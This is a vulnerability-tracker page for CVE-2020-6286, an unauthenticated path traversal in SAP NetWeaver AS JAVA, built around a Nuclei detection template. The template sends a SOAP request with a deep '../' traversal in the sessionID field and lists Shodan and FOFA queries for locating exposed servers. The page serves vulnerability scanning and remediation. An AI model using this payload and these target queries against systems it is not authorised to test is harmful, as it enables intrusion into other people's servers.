CVE-2020-6286: SAP NetWeaver AS JAVA - Path Traversal

2026-11-29 PoC Public

Description

SAP NetWeaver AS JAVA (LM Configuration Wizard) versions 7.30, 7.31, 7.40, 7.50 contain a path traversal caused by insufficient input path validation in a web service parameter, letting unauthenticated attackers download zip files to arbitrary directories, exploit requires no authentication.

Details

CVE
CVE-2020-6286 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2020-6286

info:
  name: SAP NetWeaver AS JAVA - Path Traversal
  author: 0x_Akoko
  severity: medium
  description: |
    SAP NetWeaver AS JAVA (LM Configuration Wizard) versions 7.30, 7.31, 7.40, 7.50 contain a path traversal caused by insufficient input path validation in a web service parameter, letting unauthenticated attackers download zip files to arbitrary directories, exploit requires no authentication.
  impact: |
    Attackers can download arbitrary zip files to sensitive directories, potentially leading to information disclosure or system compromise.
  remediation: |
    Update to the latest version of SAP NetWeaver AS JAVA or apply security patches addressing input validation.
  reference:
    - https://github.com/chipik/SAP_RECON
    - https://github.com/murataydemir/CVE-2020-6286
    - https://launchpad.support.sap.com/#/notes/2934135
    - https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=552599675
    - https://nvd.nist.gov/vuln/detail/CVE-2020-6286
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-6286
    epss-score: 0.3055
    epss-percentile: 0.9865
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    vendor: sap
    product: netweaver_application_server_java
    shodan-query: http.favicon.hash:-266008933
    fofa-query: icon_hash="-266008933"
  tags: cve,cve2020,sap,netweaver,lfi,traversal,unauth,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "SAP NetWeaver Application Server")'
        internal: true

  - raw:
      - |
        POST /CTCWebService/CTCWebServiceBean HTTP/1.1
        Host: {{Hostname}}
        Content-Type: text/xml;charset=UTF-8
        SOAPAction:

        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">
          <soapenv:Header/>
          <soapenv:Body>
            <urn:queryProtocol>
              <sessionID>/../../../../../../../../../../../../../../../../../..{{rand_base(8)}}</sessionID>
            </urn:queryProtocol>
          </soapenv:Body>
        </soapenv:Envelope>

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500'
          - 'contains_all(body, "CTCWebServiceBean.queryProtocol", "fileInputStreams", "FileInputStream.close")'
          - 'contains(body, "tc~lm~ctc")'
        condition: and
# digest: 490a0046304402207b04304d89b643199c11d5322a116ce72bf8359761e90edd5b9edd7984f9736c0220408da78f385682f5a6ff642666a389089144ade90a5f1a269bd669fe39564a63:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life